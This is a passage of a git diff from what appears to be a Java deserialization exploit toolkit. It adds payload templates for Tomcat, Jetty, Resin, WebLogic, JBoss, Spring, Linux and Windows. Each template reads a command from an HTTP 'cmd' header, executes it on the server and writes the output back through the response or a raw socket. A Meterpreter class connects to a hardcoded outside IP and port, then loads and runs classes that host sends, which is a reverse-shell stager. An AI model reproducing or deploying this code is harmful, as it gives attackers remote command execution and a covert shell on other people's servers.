obj.getClass().getMethod("getHeader", new Class[]{String.class}); + String cmd = (String) method.invoke(obj, new Object[]{"cmd"}); + + if (cmd != null && !cmd.isEmpty()) { + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + + method = connection.getClass().getMethod("getPrintWriter", new Class[]{String.class}); + java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(connection, new Object[]{"utf-8"}); + printWriter.println(res); + } + + break; + } else if (obj != null && obj.getClass().getName().endsWith("HttpConnection")) { + java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", (Class) null); + Object httpChannel = method.invoke(obj, (Object) null); + + method = httpChannel.getClass().getMethod("getRequest", (Class) null); + obj = method.invoke(httpChannel, (Object) null); + + method = obj.getClass().getMethod("getHeader", new Class[]{String.class}); + String cmd = (String) method.invoke(obj, new Object[]{CMD_HEADER}); + if (cmd != null && !cmd.isEmpty()) { + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + + method = httpChannel.getClass().getMethod("getResponse", (Class) null); + obj = method.invoke(httpChannel, (Object) null); + + method = obj.getClass().getMethod("getWriter", (Class) null); + java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(obj, (Object) null); + printWriter.println(res); + } + + break; + } + } + } catch (Exception ignored) { + } + } + + public static ByteArrayOutputStream q(String cmd) { + return null; + } + +} diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CLinuxEcho1.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CLinuxEcho1.java new file mode 100644 index 0000000..97382e4 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CLinuxEcho1.java @@ -0,0 +1,47 @@ +package com.qi4l.JYso.template.echoConstructor; + +public class CLinuxEcho1 { + + public CLinuxEcho1() { + try { + String command = "ls -l /proc/$PPID/fd|grep socket:|awk '{print $9}'"; + + java.util.List list = new java.util.ArrayList<>(); + String[] cmd = new String[]{"/bin/sh", "-c", command}; + java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + + String line; + while ((line = br.readLine()) != null) { + list.add(line); + } + + br.close(); + + java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE}); + c.setAccessible(true); + + for (String s : list) { + Integer integer = Integer.parseInt(s); + + try { + cmd = new String[]{"/bin/sh", "-c", "ls -l"}; + br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + + StringBuilder sb = new StringBuilder(); + while ((line = br.readLine()) != null) { + sb.append(line + "\n"); + } + + java.io.FileOutputStream os = new java.io.FileOutputStream(c.newInstance(integer)); + os.write(sb.toString().getBytes()); + + br.close(); + os.close(); + } catch (Exception e) { + } + } + } catch (Exception ignored) { + } + } + +} diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CLinuxEcho2.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CLinuxEcho2.java new file mode 100644 index 0000000..c2a8796 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CLinuxEcho2.java @@ -0,0 +1,66 @@ +package com.qi4l.JYso.template.echoConstructor; + +public class CLinuxEcho2 { + + public CLinuxEcho2() { + try { + if (java.io.File.separator.equals("/")) { + String command = "ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\"[\"}''{print $2}'|sed 's/.$//'"; + String[] cmd = new String[]{"/bin/sh", "-c", command}; + java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + java.util.List res1 = new java.util.ArrayList(); + String line = ""; + while ((line = br.readLine()) != null && !line.trim().isEmpty()) { + res1.add(line); + } + br.close(); + + try { + Thread.sleep((long) 2000); + } catch (InterruptedException e) { + //pass + } + + command = "ls -al /proc/$PPID/fd|grep socket:|awk '{print $9, $11}'"; + cmd = new String[]{"/bin/sh", "-c", command}; + br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + java.util.List res2 = new java.util.ArrayList(); + while ((line = br.readLine()) != null && !line.trim().isEmpty()) { + res2.add(line); + } + br.close(); + + int index = 0; + int max = 0; + for (int i = 0; i < res2.size(); i++) { + try { + String socketNo = ((String) res2.get(i)).split("\\s+")[1].substring(8); + socketNo = socketNo.substring(0, socketNo.length() - 1); + for (int j = 0; j < res1.size(); j++) { + if (!socketNo.equals(res1.get(j))) continue; + + if (Integer.parseInt(socketNo) > max) { + max = Integer.parseInt(socketNo); + index = j; + } + break; + } + } catch (Exception e) { + //pass + } + } + + int fd = Integer.parseInt(((String) res2.get(index)).split("\\s")[0]); + java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE}); + c.setAccessible(true); + cmd = new String[]{"/bin/sh", "-c", "id"}; + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + res.length() + "\n\n" + res + "\n"; + java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor) c.newInstance(new Object[]{new Integer(fd)})); + os.write(result.getBytes()); + } + } catch (Exception ignored) { + } + } + +} diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CResinEcho.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CResinEcho.java new file mode 100644 index 0000000..be0aa94 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CResinEcho.java @@ -0,0 +1,48 @@ +package com.qi4l.JYso.template.echoConstructor; + +public class CResinEcho { + + public static String CMD_HEADER; + + public CResinEcho() { + try { + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getSuperclass().getDeclaredField("threadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + field = obj.getClass().getDeclaredField("table"); + field.setAccessible(true); + obj = field.get(obj); + + Object[] obj_arr = (Object[]) obj; + for (int i = 0; i < obj_arr.length; i++) { + Object o = obj_arr[i]; + if (o == null) continue; + + field = o.getClass().getDeclaredField("value"); + field.setAccessible(true); + obj = field.get(o); + + if (obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")) { + com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest) obj; + String cmd = httpRequest.getHeader(CMD_HEADER); + + if (cmd != null && !cmd.isEmpty()) { + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse(); + httpResponse.setHeader("Content-Length", res.length() + ""); + java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", (Class) null); + method.setAccessible(true); + com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse, (Object) null); + httpResponseStream.write(res.getBytes(), 0, res.length()); + httpResponseStream.close(); + } + + break; + } + } + } catch (Exception ignored) { + } + } +} diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CSpringEcho.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CSpringEcho.java new file mode 100644 index 0000000..8ca721a --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CSpringEcho.java @@ -0,0 +1,28 @@ +package com.qi4l.JYso.template.echoConstructor; + +public class CSpringEcho { + + public static String CMD_HEADER; + + public CSpringEcho() { + + try { + org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes(); + javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest(); + javax.servlet.http.HttpServletResponse response = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse(); + String cmd = request.getHeader(CMD_HEADER); + if (cmd != null && !cmd.isEmpty()) { + response.getWriter().write(new String(q(cmd).toByteArray())); + } + response.getWriter().flush(); + response.getWriter().close(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } + +} diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CTomcatEcho.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CTomcatEcho.java new file mode 100644 index 0000000..c3ea9be --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CTomcatEcho.java @@ -0,0 +1,81 @@ +package com.qi4l.JYso.template.echoConstructor; + +public class CTomcatEcho { + public static String CMD_HEADER; + + public CTomcatEcho() { + try { + boolean flag = false; + ThreadGroup group = Thread.currentThread().getThreadGroup(); + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); + f.setAccessible(true); + Thread[] threads = (Thread[]) f.get(group); + for (int i = 0; i < threads.length; i++) { + try { + Thread t = threads[i]; + if (t == null) continue; + String str = t.getName(); + if (str.contains("exec") || !str.contains("http")) continue; + f = t.getClass().getDeclaredField("target"); + f.setAccessible(true); + Object obj = f.get(t); + if (!(obj instanceof Runnable)) continue; + f = obj.getClass().getDeclaredField("this$0"); + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getDeclaredField("handler"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); + } + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getSuperclass().getDeclaredField("global"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getDeclaredField("global"); + } + f.setAccessible(true); + obj = f.get(obj); + f = obj.getClass().getDeclaredField("processors"); + f.setAccessible(true); + java.util.List processors = (java.util.List) (f.get(obj)); + for (int j = 0; j < processors.size(); ++j) { + Object processor = processors.get(j); + f = processor.getClass().getDeclaredField("req"); + f.setAccessible(true); + Object req = f.get(processor); + Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req); + str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{CMD_HEADER}); + if (str != null && !str.isEmpty()) { + resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Integer(200)); + java.io.ByteArrayOutputStream baos = q(str); + try { + Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk", false, loader); + obj = cls.newInstance(); + cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, baos.toByteArray(), new Integer(0), baos.toByteArray().length); + resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj); + } catch (NoSuchMethodException var5) { + Class cls = Class.forName("java.nio.ByteBuffer", false, loader); + obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{baos.toByteArray()}); + resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj); + } + flag = true; + } + if (flag) break; + } + if (flag) break; + } catch (Exception ignored) { + } + } + + } catch (Exception ignored) { + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } + +} diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CWindowsEcho.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CWindowsEcho.java new file mode 100644 index 0000000..1de1631 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CWindowsEcho.java @@ -0,0 +1,59 @@ +package com.qi4l.JYso.template.echoConstructor; + +public class CWindowsEcho { + + public CWindowsEcho() { + try { + if (java.io.File.separator.equals("\\")) { + java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd"); + field.setAccessible(true); + + Class clazz1 = Class.forName("sun.nio.ch.Net"); + java.lang.reflect.Method method1 = clazz1.getDeclaredMethod("remoteAddress", new Class[]{java.io.FileDescriptor.class}); + method1.setAccessible(true); + + Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null); + java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0]; + constructor2.setAccessible(true); + + Class clazz3 = Class.forName("java.net.PlainSocketImpl"); + java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class}); + constructor3.setAccessible(true); + + java.lang.reflect.Method write = clazz2.getDeclaredMethod("write", new Class[]{byte[].class}); + write.setAccessible(true); + + java.net.InetSocketAddress remoteAddress = null; + java.util.List list = new java.util.ArrayList(); + java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor(); + for (int i = 0; i < 50000; i++) { + field.set((Object) fileDescriptor, (Object) (new Integer(i))); + try { + remoteAddress = (java.net.InetSocketAddress) method1.invoke(null, new Object[]{fileDescriptor}); + if (remoteAddress.toString().startsWith("/127.0.0.1")) continue; + if (remoteAddress.toString().startsWith("/0:0:0:0:0:0:0:1")) continue; + list.add(new Integer(i)); + + } catch (Exception e) { + } + } + + for (int i = list.size() - 1; i >= 0; i--) { + try { + field.set((Object) fileDescriptor, list.get(i)); + Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})}); + String[] cmd = new String[]{"cmd", "/C", "whoami"}; + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next().trim(); + String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + (res.length()) + "\n\n" + res + "\n\n"; + write.invoke(socketOutputStream, new Object[]{result.getBytes()}); + break; + } catch (Exception e) { + //pass + } + } + } + } catch (Exception ignored) { + } + } + +} diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CweblogicEcho.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CweblogicEcho.java new file mode 100644 index 0000000..452dd11 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CweblogicEcho.java @@ -0,0 +1,39 @@ +package com.qi4l.JYso.template.echoConstructor; + +public class CweblogicEcho { + + public static String CMD_HEADER; + + public CweblogicEcho() { + try { + weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread) Thread.currentThread()).getCurrentWork(); + if (adapter.getClass().getName().endsWith("ServletRequestImpl")) { + String cmd = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, CMD_HEADER); + + if (cmd != null && !cmd.isEmpty()) { + String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter); + res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); + res.getServletOutputStream().flush(); + res.getWriter().write(""); + } + } else { + java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler"); + field.setAccessible(true); + Object obj = field.get(adapter); + obj = obj.getClass().getMethod("getServletRequest").invoke(obj); + String cmd = (String) obj.getClass().getMethod("getHeader", String.class).invoke(obj, "cmd"); + + if (cmd != null && !cmd.isEmpty()) { + String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj); + res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); + res.getServletOutputStream().flush(); + res.getWriter().write(""); + } + } + } catch (Exception ignored) { + } + } + +} diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/AllEcho.java b/src/main/java/com/qi4l/JYso/template/echoStatic/AllEcho.java new file mode 100644 index 0000000..b83b1dc --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/AllEcho.java @@ -0,0 +1,88 @@ +package com.qi4l.JYso.template.echoStatic; + +public class AllEcho { + public static String CMD_HEADER = "cmd"; + + public static java.util.HashSet h = new java.util.HashSet(); + + public static javax.servlet.http.HttpServletRequest r = null; + + public static javax.servlet.http.HttpServletResponse p = null; + + static { + F(Thread.currentThread(), 0); + } + + private static boolean i(Object obj) { + if (obj == null || h.contains(obj)) { + return true; + } + h.add(obj); + return false; + } + + private static void F(Object start, int depth) { + Class n = start.getClass(); + do { + java.lang.reflect.Field f = null; + int l = n.getDeclaredFields().length; + for (int i = 0; i < l; i++) { + f = n.getDeclaredFields()[i]; + f.setAccessible(true); + Object o = null; + try { + o = f.get(start); + if (!o.getClass().isArray()) { + p(o, depth); + } else { + Object q = null; + Object[] objs = (Object[]) o; + int len = java.lang.reflect.Array.getLength(o); + for (int j = 0; j < len; j++) { + q = objs[j]; + p(q, depth); + } + } + } catch (Exception ignored) { + } + } + } while ((n = n.getSuperclass()) != null); + } + + private static void p(Object o, int depth) { + if (depth > 52 || (r != null && p != null)) { + return; + } + if (!i(o)) { + if (r == null && javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())) { + r = (javax.servlet.http.HttpServletRequest) o; + if (r.getHeader(CMD_HEADER) == null) { + r = null; + } else { + try { + p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod("getResponse", new Class[]{}).invoke(r, new Object[]{}); + } catch (Exception e) { + r = null; + } + } + } + if (r != null && p != null) { + try { + try { + p.getWriter().println(q(r.getHeader(CMD_HEADER))); + } catch (Exception ignored) { + } + p.getWriter().flush(); + p.getWriter().close(); + } catch (Exception ignored) { + } + return; + } + F(o, depth + 1); + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } +} diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/JbossEcho.java b/src/main/java/com/qi4l/JYso/template/echoStatic/JbossEcho.java new file mode 100644 index 0000000..e19b580 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/JbossEcho.java @@ -0,0 +1,69 @@ +package com.qi4l.JYso.template.echoStatic; + +public class JbossEcho { + + public static String CMD_HEADER = "cmd"; + + static { + try { + Object req = javax.security.jacc.PolicyContext.getContext("javax.servlet.http.HttpServletRequest"); + String cmd = getMethodAndInvoke(req, "getHeader", new Class[]{String.class}, new Object[]{CMD_HEADER}).toString(); + + if (cmd != null && !cmd.isEmpty()) { + java.io.ByteArrayOutputStream baos = q(cmd); + + try { + // 高版本底层是 undertow + Class.forName("io.undertow.servlet.spec.HttpServletRequestImpl"); + Object exchange = getMethodAndInvoke(req, "getExchange", new Class[]{}, new Object[]{}); + java.io.OutputStream os = (java.io.OutputStream) getMethodAndInvoke(exchange, "getOutputStream", new Class[]{}, new Object[]{}); + os.write(baos.toByteArray()); + os.close(); + } catch (ClassNotFoundException ignored) { + Object response = getMethodAndInvoke(req, "getResponse", new Class[]{}, new Object[]{}); + if (response == null) { + java.lang.reflect.Field field = req.getClass().getDeclaredField("request"); + field.setAccessible(true); + response = getMethodAndInvoke(field.get(req), "getResponse", new Class[]{}, new Object[]{}); + + } + Object writer = getMethodAndInvoke(response, "getWriter", new Class[]{}, new Object[]{}); + getMethodAndInvoke(writer, "write", new Class[]{String.class}, new Object[]{baos.toString()}); + getMethodAndInvoke(writer, "flush", new Class[]{}, new Object[]{}); + getMethodAndInvoke(writer, "close", new Class[]{}, new Object[]{}); + } + } + } catch (Exception ignored) { + } + + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } + + public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + java.lang.reflect.Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { + try { + java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); + if (method != null) + return method.invoke(obj, parameters); + } catch (Exception ignored) { + } + return null; + } + +} diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/JettyEcho.java b/src/main/java/com/qi4l/JYso/template/echoStatic/JettyEcho.java new file mode 100644 index 0000000..1d7e114 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/JettyEcho.java @@ -0,0 +1,78 @@ +package com.qi4l.JYso.template.echoStatic; + +import java.io.ByteArrayOutputStream; + +public class JettyEcho { + + public static String CMD_HEADER; + + static { + try { + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + field = obj.getClass().getDeclaredField("table"); + field.setAccessible(true); + obj = field.get(obj); + + Object[] obj_arr = (Object[]) obj; + for (int i = 0; i < obj_arr.length; i++) { + Object o = obj_arr[i]; + if (o == null) continue; + + field = o.getClass().getDeclaredField("value"); + field.setAccessible(true); + obj = field.get(o); + + if (obj != null && obj.getClass().getName().endsWith("AsyncHttpConnection")) { + Object connection = obj; + java.lang.reflect.Method method = connection.getClass().getMethod("getRequest", (Class) null); + obj = method.invoke(connection, (Object) null); + + method = obj.getClass().getMethod("getHeader", new Class[]{String.class}); + String cmd = (String) method.invoke(obj, new Object[]{"cmd"}); + + if (cmd != null && !cmd.isEmpty()) { + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + + method = connection.getClass().getMethod("getPrintWriter", new Class[]{String.class}); + java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(connection, new Object[]{"utf-8"}); + printWriter.println(res); + } + + break; + } else if (obj != null && obj.getClass().getName().endsWith("HttpConnection")) { + java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", (Class) null); + Object httpChannel = method.invoke(obj, (Object) null); + + method = httpChannel.getClass().getMethod("getRequest", (Class) null); + obj = method.invoke(httpChannel, (Object) null); + + method = obj.getClass().getMethod("getHeader", new Class[]{String.class}); + String cmd = (String) method.invoke(obj, new Object[]{CMD_HEADER}); + if (cmd != null && !cmd.isEmpty()) { + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + + method = httpChannel.getClass().getMethod("getResponse", (Class) null); + obj = method.invoke(httpChannel, (Object) null); + + method = obj.getClass().getMethod("getWriter", (Class) null); + java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(obj, (Object) null); + printWriter.println(res); + } + + break; + } + } + } catch (Exception ignored) { + } + + } + + public static ByteArrayOutputStream q(String cmd) { + return null; + } + +} diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/LinuxEcho1.java b/src/main/java/com/qi4l/JYso/template/echoStatic/LinuxEcho1.java new file mode 100644 index 0000000..fb44a28 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/LinuxEcho1.java @@ -0,0 +1,48 @@ +package com.qi4l.JYso.template.echoStatic; + +public class LinuxEcho1 { + + static { + try { + String command = "ls -l /proc/$PPID/fd|grep socket:|awk '{print $9}'"; + + java.util.List list = new java.util.ArrayList<>(); + String[] cmd = new String[]{"/bin/sh", "-c", command}; + java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + + String line; + while ((line = br.readLine()) != null) { + list.add(line); + } + + br.close(); + + java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE}); + c.setAccessible(true); + + for (String s : list) { + Integer integer = Integer.parseInt(s); + + try { + cmd = new String[]{"/bin/sh", "-c", "ls -l"}; + br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + + StringBuilder sb = new StringBuilder(); + while ((line = br.readLine()) != null) { + sb.append(line + "\n"); + } + + java.io.FileOutputStream os = new java.io.FileOutputStream(c.newInstance(integer)); + os.write(sb.toString().getBytes()); + + br.close(); + os.close(); + } catch (Exception e) { + } + } + } catch (Exception ignored) { + } + + } + +} diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/LinuxEcho2.java b/src/main/java/com/qi4l/JYso/template/echoStatic/LinuxEcho2.java new file mode 100644 index 0000000..79b8ed5 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/LinuxEcho2.java @@ -0,0 +1,67 @@ +package com.qi4l.JYso.template.echoStatic; + +public class LinuxEcho2 { + + static { + try { + if (java.io.File.separator.equals("/")) { + String command = "ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\"[\"}''{print $2}'|sed 's/.$//'"; + String[] cmd = new String[]{"/bin/sh", "-c", command}; + java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + java.util.List res1 = new java.util.ArrayList(); + String line = ""; + while ((line = br.readLine()) != null && !line.trim().isEmpty()) { + res1.add(line); + } + br.close(); + + try { + Thread.sleep((long) 2000); + } catch (InterruptedException e) { + //pass + } + + command = "ls -al /proc/$PPID/fd|grep socket:|awk '{print $9, $11}'"; + cmd = new String[]{"/bin/sh", "-c", command}; + br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + java.util.List res2 = new java.util.ArrayList(); + while ((line = br.readLine()) != null && !line.trim().isEmpty()) { + res2.add(line); + } + br.close(); + + int index = 0; + int max = 0; + for (int i = 0; i < res2.size(); i++) { + try { + String socketNo = ((String) res2.get(i)).split("\\s+")[1].substring(8); + socketNo = socketNo.substring(0, socketNo.length() - 1); + for (int j = 0; j < res1.size(); j++) { + if (!socketNo.equals(res1.get(j))) continue; + + if (Integer.parseInt(socketNo) > max) { + max = Integer.parseInt(socketNo); + index = j; + } + break; + } + } catch (Exception e) { + //pass + } + } + + int fd = Integer.parseInt(((String) res2.get(index)).split("\\s")[0]); + java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE}); + c.setAccessible(true); + cmd = new String[]{"/bin/sh", "-c", "id"}; + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + res.length() + "\n\n" + res + "\n"; + java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor) c.newInstance(new Object[]{new Integer(fd)})); + os.write(result.getBytes()); + } + } catch (Exception ignored) { + } + + } + +} diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/Meterpreter.java b/src/main/java/com/qi4l/JYso/template/echoStatic/Meterpreter.java new file mode 100644 index 0000000..42f6c26 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/Meterpreter.java @@ -0,0 +1,141 @@ +/* + * Decompiled with CFR 0.152. + */ +package com.qi4l.JYso.template.echoStatic; + +import java.io.DataInputStream; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.Socket; +import java.util.HashMap; + +public class Meterpreter + extends ClassLoader + implements Runnable { + public static String host = "111.229.10.212"; + public static String port = "23412"; + + static Class class$0; + static Class class$1; + static Class class$2; + + static { + + Meterpreter meterpreter = new Meterpreter(); + meterpreter.initLhost(); + meterpreter.run(); + } + + private HashMap parameterMap; + + + //public String toString() { + // if (this.host != null && this.port != null) { + // Thread thread = new Thread(this); + // thread.start(); + // this.parameterMap.put("result", "ok".getBytes()); + // } else { + // this.parameterMap.put("result", "host or port is null".getBytes()); + // } + // this.parameterMap = null; + // return ""; + //} + + public static void main(String[] args) throws Exception { + Meterpreter meterpreter = new Meterpreter(); + meterpreter.run(); + } + + public void initLhost() { + this.host = "111.229.10.212"; + this.port = "23412"; + } + + public boolean equals(Object paramObject) { + try { + this.parameterMap = (HashMap) paramObject; + this.host = this.get("host"); + this.port = this.get("port"); + } catch (Exception e) { + return false; + } + return true; + } + + public void getShell() throws Exception { + InputStream inputStream1 = null; + OutputStream outputStream = null; + int j = new Integer(this.port); + String str4 = this.host; + Socket socket = null; + if (str4 != null) { + socket = new Socket(str4, j); + } + inputStream1 = socket.getInputStream(); + outputStream = socket.getOutputStream(); + new Meterpreter().bootstrap(inputStream1, outputStream); + } + + private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception { + try { + Class clazz; + DataInputStream dataInputStream = new DataInputStream(paramInputStream); + int i = dataInputStream.readInt(); + do { + byte[] arrayOfByte = new byte[i]; + dataInputStream.readFully(arrayOfByte); + clazz = this.defineClass(null, arrayOfByte, 0, i); + this.resolveClass(clazz); + } while ((i = dataInputStream.readInt()) > 0); + Object object = clazz.newInstance(); + Class[] classArray = new Class[3]; + Class clazz2 = class$0; + if (clazz2 == null) { + try { + clazz2 = class$0 = Class.forName("java.io.DataInputStream"); + } catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[0] = clazz2; + Class clazz3 = class$1; + if (clazz3 == null) { + try { + clazz3 = class$1 = Class.forName("java.io.OutputStream"); + } catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[1] = clazz3; + Class clazz4 = class$2; + if (clazz4 == null) { + try { + clazz4 = class$2 = Class.forName("[Ljava.lang.String;"); + } catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[2] = clazz4; + clazz.getMethod("start", classArray).invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""}); + } catch (Throwable throwable) { + // empty catch block + } + } + + public void run() { + try { + this.getShell(); + } catch (Exception exception) { + System.out.println(exception); + // empty catch block + } + } + + public String get(String key) { + try { + return new String((byte[]) this.parameterMap.get(key)); + } catch (Exception e) { + return null; + } + } +} diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/ResinEcho.java 